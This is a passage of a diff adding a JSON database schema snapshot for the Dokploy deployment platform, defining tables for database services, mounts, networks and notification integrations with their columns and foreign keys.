+ "notNull": false
+ },
+ "rollbackConfigSwarm": {
+ "name": "rollbackConfigSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "modeSwarm": {
+ "name": "modeSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "labelsSwarm": {
+ "name": "labelsSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "networkSwarm": {
+ "name": "networkSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "stopGracePeriodSwarm": {
+ "name": "stopGracePeriodSwarm",
+ "type": "bigint",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "endpointSpecSwarm": {
+ "name": "endpointSpecSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "ulimitsSwarm": {
+ "name": "ulimitsSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "replicas": {
+ "name": "replicas",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 1
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "environmentId": {
+ "name": "environmentId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "serverId": {
+ "name": "serverId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "replicaSets": {
+ "name": "replicaSets",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false,
+ "default": false
+ },
+ "networkIds": {
+ "name": "networkIds",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'{}'"
+ },
+ "detachDokployNetwork": {
+ "name": "detachDokployNetwork",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "mongo_environmentId_environment_environmentId_fk": {
+ "name": "mongo_environmentId_environment_environmentId_fk",
+ "tableFrom": "mongo",
+ "tableTo": "environment",
+ "columnsFrom": [
+ "environmentId"
+ ],
+ "columnsTo": [
+ "environmentId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "mongo_serverId_server_serverId_fk": {
+ "name": "mongo_serverId_server_serverId_fk",
+ "tableFrom": "mongo",
+ "tableTo": "server",
+ "columnsFrom": [
+ "serverId"
+ ],
+ "columnsTo": [
+ "serverId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "mongo_appName_unique": {
+ "name": "mongo_appName_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "appName"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.mount": {
+ "name": "mount",
+ "schema": "",
+ "columns": {
+ "mountId": {
+ "name": "mountId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "type": {
+ "name": "type",
+ "type": "mountType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "hostPath": {
+ "name": "hostPath",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "volumeName": {
+ "name": "volumeName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "filePath": {
+ "name": "filePath",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "content": {
+ "name": "content",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "serviceType": {
+ "name": "serviceType",
+ "type": "serviceType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'application'"
+ },
+ "mountPath": {
+ "name": "mountPath",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "applicationId": {
+ "name": "applicationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "composeId": {
+ "name": "composeId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "libsqlId": {
+ "name": "libsqlId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "mariadbId": {
+ "name": "mariadbId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "mongoId": {
+ "name": "mongoId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "mysqlId": {
+ "name": "mysqlId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "postgresId": {
+ "name": "postgresId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "redisId": {
+ "name": "redisId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "mount_applicationId_application_applicationId_fk": {
+ "name": "mount_applicationId_application_applicationId_fk",
+ "tableFrom": "mount",
+ "tableTo": "application",
+ "columnsFrom": [
+ "applicationId"
+ ],
+ "columnsTo": [
+ "applicationId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "mount_composeId_compose_composeId_fk": {
+ "name": "mount_composeId_compose_composeId_fk",
+ "tableFrom": "mount",
+ "tableTo": "compose",
+ "columnsFrom": [
+ "composeId"
+ ],
+ "columnsTo": [
+ "composeId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "mount_libsqlId_libsql_libsqlId_fk": {
+ "name": "mount_libsqlId_libsql_libsqlId_fk",
+ "tableFrom": "mount",
+ "tableTo": "libsql",
+ "columnsFrom": [
+ "libsqlId"
+ ],
+ "columnsTo": [
+ "libsqlId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "mount_mariadbId_mariadb_mariadbId_fk": {
+ "name": "mount_mariadbId_mariadb_mariadbId_fk",
+ "tableFrom": "mount",
+ "tableTo": "mariadb",
+ "columnsFrom": [
+ "mariadbId"
+ ],
+ "columnsTo": [
+ "mariadbId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "mount_mongoId_mongo_mongoId_fk": {
+ "name": "mount_mongoId_mongo_mongoId_fk",
+ "tableFrom": "mount",
+ "tableTo": "mongo",
+ "columnsFrom": [
+ "mongoId"
+ ],
+ "columnsTo": [
+ "mongoId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "mount_mysqlId_mysql_mysqlId_fk": {
+ "name": "mount_mysqlId_mysql_mysqlId_fk",
+ "tableFrom": "mount",
+ "tableTo": "mysql",
+ "columnsFrom": [
+ "mysqlId"
+ ],
+ "columnsTo": [
+ "mysqlId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "mount_postgresId_postgres_postgresId_fk": {
+ "name": "mount_postgresId_postgres_postgresId_fk",
+ "tableFrom": "mount",
+ "tableTo": "postgres",
+ "columnsFrom": [
+ "postgresId"
+ ],
+ "columnsTo": [
+ "postgresId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "mount_redisId_redis_redisId_fk": {
+ "name": "mount_redisId_redis_redisId_fk",
+ "tableFrom": "mount",
+ "tableTo": "redis",
+ "columnsFrom": [
+ "redisId"
+ ],
+ "columnsTo": [
+ "redisId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.mysql": {
+ "name": "mysql",
+ "schema": "",
+ "columns": {
+ "mysqlId": {
+ "name": "mysqlId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "appName": {
+ "name": "appName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "description": {
+ "name": "description",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "databaseName": {
+ "name": "databaseName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "databaseUser": {
+ "name": "databaseUser",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "databasePassword": {
+ "name": "databasePassword",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "rootPassword": {
+ "name": "rootPassword",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "dockerImage": {
+ "name": "dockerImage",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "command": {
+ "name": "command",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "args": {
+ "name": "args",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "env": {
+ "name": "env",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "memoryReservation": {
+ "name": "memoryReservation",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "memoryLimit": {
+ "name": "memoryLimit",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "cpuReservation": {
+ "name": "cpuReservation",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "cpuLimit": {
+ "name": "cpuLimit",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "externalPort": {
+ "name": "externalPort",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "applicationStatus": {
+ "name": "applicationStatus",
+ "type": "applicationStatus",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'idle'"
+ },
+ "healthCheckSwarm": {
+ "name": "healthCheckSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "restartPolicySwarm": {
+ "name": "restartPolicySwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "placementSwarm": {
+ "name": "placementSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "updateConfigSwarm": {
+ "name": "updateConfigSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "rollbackConfigSwarm": {
+ "name": "rollbackConfigSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "modeSwarm": {
+ "name": "modeSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "labelsSwarm": {
+ "name": "labelsSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "networkSwarm": {
+ "name": "networkSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "stopGracePeriodSwarm": {
+ "name": "stopGracePeriodSwarm",
+ "type": "bigint",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "endpointSpecSwarm": {
+ "name": "endpointSpecSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "ulimitsSwarm": {
+ "name": "ulimitsSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "replicas": {
+ "name": "replicas",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 1
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "environmentId": {
+ "name": "environmentId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "serverId": {
+ "name": "serverId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "networkIds": {
+ "name": "networkIds",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'{}'"
+ },
+ "detachDokployNetwork": {
+ "name": "detachDokployNetwork",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "mysql_environmentId_environment_environmentId_fk": {
+ "name": "mysql_environmentId_environment_environmentId_fk",
+ "tableFrom": "mysql",
+ "tableTo": "environment",
+ "columnsFrom": [
+ "environmentId"
+ ],
+ "columnsTo": [
+ "environmentId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "mysql_serverId_server_serverId_fk": {
+ "name": "mysql_serverId_server_serverId_fk",
+ "tableFrom": "mysql",
+ "tableTo": "server",
+ "columnsFrom": [
+ "serverId"
+ ],
+ "columnsTo": [
+ "serverId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "mysql_appName_unique": {
+ "name": "mysql_appName_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "appName"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.network": {
+ "name": "network",
+ "schema": "",
+ "columns": {
+ "networkId": {
+ "name": "networkId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "driver": {
+ "name": "driver",
+ "type": "networkDriver",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'bridge'"
+ },
+ "internal": {
+ "name": "internal",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "attachable": {
+ "name": "attachable",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "enableIPv4": {
+ "name": "enableIPv4",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "enableIPv6": {
+ "name": "enableIPv6",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "mtu": {
+ "name": "mtu",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "ipam": {
+ "name": "ipam",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'{}'::jsonb"
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "organizationId": {
+ "name": "organizationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "serverId": {
+ "name": "serverId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "network_organizationId_organization_id_fk": {
+ "name": "network_organizationId_organization_id_fk",
+ "tableFrom": "network",
+ "tableTo": "organization",
+ "columnsFrom": [
+ "organizationId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "network_serverId_server_serverId_fk": {
+ "name": "network_serverId_server_serverId_fk",
+ "tableFrom": "network",
+ "tableTo": "server",
+ "columnsFrom": [
+ "serverId"
+ ],
+ "columnsTo": [
+ "serverId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.custom": {
+ "name": "custom",
+ "schema": "",
+ "columns": {
+ "customId": {
+ "name": "customId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "endpoint": {
+ "name": "endpoint",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "headers": {
+ "name": "headers",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.discord": {
+ "name": "discord",
+ "schema": "",
+ "columns": {
+ "discordId": {
+ "name": "discordId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "webhookUrl": {
+ "name": "webhookUrl",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "decoration": {
+ "name": "decoration",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.email": {
+ "name": "email",
+ "schema": "",
+ "columns": {
+ "emailId": {
+ "name": "emailId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "smtpServer": {
+ "name": "smtpServer",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "smtpPort": {
+ "name": "smtpPort",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "username": {
+ "name": "username",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "password": {
+ "name": "password",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "fromAddress": {
+ "name": "fromAddress",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "toAddress": {
+ "name": "toAddress",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.gotify": {
+ "name": "gotify",
+ "schema": "",
+ "columns": {
+ "gotifyId": {
+ "name": "gotifyId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "serverUrl": {
+ "name": "serverUrl",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "appToken": {
+ "name": "appToken",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "priority": {
+ "name": "priority",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 5
+ },
+ "decoration": {
+ "name": "decoration",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.lark": {
+ "name": "lark",
+ "schema": "",
+ "columns": {
+ "larkId": {
+ "name": "larkId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "webhookUrl": {
+ "name": "webhookUrl",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.mattermost": {
+ "name": "mattermost",
+ "schema": "",
+ "columns": {
+ "mattermostId": {
+ "name": "mattermostId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "webhookUrl": {
+ "name": "webhookUrl",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "channel": {
+ "name": "channel",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "username": {
+ "name": "username",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.notification": {
+ "name": "notification",
+ "schema": "",
+ "columns": {
+ "notificationId": {
+ "name": "notificationId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "appDeploy": {
+ "name": "appDeploy",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "appBuildError": {
+ "name": "appBuildError",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "databaseBackup": {
+ "name": "databaseBackup",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "volumeBackup": {
+ "name": "volumeBackup",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "dokployRestart": {
+ "name": "dokployRestart",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "dokployBackup": {
+ "name": "dokployBackup",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "dockerCleanup": {
+ "name": "dockerCleanup",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "serverThreshold": {
+ "name": "serverThreshold",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "notificationType": {
+ "name": "notificationType",
+ "type": "notificationType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "slackId": {
+ "name": "slackId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "telegramId": {
+ "name": "telegramId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "discordId": {
+ "name": "discordId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "emailId": {
+ "name": "emailId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "resendId": {
+ "name": "resendId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "gotifyId": {
+ "name": "gotifyId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "ntfyId": {
+ "name": "ntfyId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "mattermostId": {
+ "name": "mattermostId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "customId": {
+ "name": "customId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "larkId": {
+ "name": "larkId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "pushoverId": {
+ "name": "pushoverId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "teamsId": {
+ "name": "teamsId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "organizationId": {
+ "name": "organizationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "notification_slackId_slack_slackId_fk": {
+ "name": "notification_slackId_slack_slackId_fk",
+ "tableFrom": "notification",
+ "tableTo": "slack",
+ "columnsFrom": [
+ "slackId"
+ ],
+ "columnsTo": [
+ "slackId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "notification_telegramId_telegram_telegramId_fk": {
+ "name": "notification_telegramId_telegram_telegramId_fk",
+ "tableFrom": "notification",
+ "tableTo": "telegram",
+ "columnsFrom": [
+ "telegramId"
+ ],
+ "columnsTo": [
+ "telegramId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "notification_discordId_discord_discordId_fk": {
+ "name": "notification_discordId_discord_discordId_fk",
+ "tableFrom": "notification",
+ "tableTo": "discord",
+ "columnsFrom": [
+ "discordId"
+ ],
+ "columnsTo": [
+ "discordId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "notification_emailId_email_emailId_fk": {
+ "name": "notification_emailId_email_emailId_fk",
+ "tableFrom": "notification",
+ "tableTo": "email",
+ "columnsFrom": [
+ "emailId"
+ ],
+ "columnsTo": [
+ "emailId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "notification_resendId_resend_resendId_fk": {
+ "name": "notification_resendId_resend_resendId_fk",
+ "tableFrom": "notification",
+ "tableTo": "resend",
+ "columnsFrom": [
+ "resendId"
+ ],
+ "columnsTo": [
+ "resendId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "notification_gotifyId_gotify_gotifyId_fk": {
+ "name": "notification_gotifyId_gotify_gotifyId_fk",
+ "tableFrom": "notification",
+ "tableTo": "gotify",
+ "columnsFrom": [
+ "gotifyId"
+ ],
+ "columnsTo": [
+ "gotifyId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "notification_ntfyId_ntfy_ntfyId_fk": {
+ "name": "notification_ntfyId_ntfy_ntfyId_fk",
+ "tableFrom": "notification",
+ "tableTo": "ntfy",
+ "columnsFrom": [
+ "ntfyId"
+ ],
+ "columnsTo": [
+ "ntfyId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "notification_mattermostId_mattermost_mattermostId_fk": {
+ "name": "notification_mattermostId_mattermost_mattermostId_fk",
+ "tableFrom": "notification",
+ "tableTo": "mattermost",
+ "columnsFrom": [
+ "mattermostId"
+ ],
+ "columnsTo": [
+ "mattermostId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "notification_customId_custom_customId_fk": {
+ "name": "notification_customId_custom_customId_fk",
+ "tableFrom": "notification",
+ "tableTo": "custom",
+ "columnsFrom": [
+ "customId"
+ ],
+ "columnsTo": [
+ "customId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "notification_larkId_lark_larkId_fk": {
+ "name": "notification_larkId_lark_larkId_fk",
+ "tableFrom": "notification",
+ "tableTo": "lark",
+ "columnsFrom": [
+ "larkId"
+ ],
+ "columnsTo": [
+ "larkId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "notification_pushoverId_pushover_pushoverId_fk": {
+ "name": "notification_pushoverId_pushover_pushoverId_fk",
+ "tableFrom": "notification",
+ "tableTo": "pushover",
+ "columnsFrom": [
+ "pushoverId"
+ ],
+ "columnsTo": [
+ "pushoverId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "notification_teamsId_teams_teamsId_fk": {
+ "name": "notification_teamsId_teams_teamsId_fk",
+ "tableFrom": "notification",
+ "tableTo": "teams",
+ "columnsFrom": [
+ "teamsId"
+ ],
+ "columnsTo": [
+ "teamsId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "notification_organizationId_organization_id_fk": {
+ "name": "notification_organizationId_organization_id_fk",
+ "tableFrom": "notification",
+ "tableTo": "organization",
+ "columnsFrom": [
+ "organizationId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.ntfy": {
+ "name": "ntfy",
+ "schema": "",
+ "columns": {
+ "ntfyId": {
+ "name": "ntfyId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "serverUrl": {
+ "name": "serverUrl",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "topic": {
+ "name": "topic",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "accessToken": {
+ "name": "accessToken",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "priority": {
+ "name": "priority",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 3
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.pushover": {
+ "name": "pushover",
+ "schema": "",
+ "columns": {
+ "pushoverId": {
+ "name": "pushoverId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "userKey": {
+ "name": "userKey",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "apiToken": {
+ "name": "apiToken",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "priority": {
+ "name": "priority",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "retry": {
+ "name": "retry",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "expire": {
+ "name": "expire",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.resend": {
+ "name": "resend",
+ "schema": "",
+ "columns": {
+ "resendId": {
+ "name": "resendId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "apiKey": {
+ "name": "apiKey",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "fromAddress": {
+ "name": "fromAddress",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "toAddress": {
+ "name": "toAddress",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.slack": {
+ "name": "slack",
+ "schema": "",
+ "columns": {
+ "slackId": {
+ "name": "slackId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "webhookUrl": {
+ "name": "webhookUrl",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "channel": {
+ "name": "channel",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
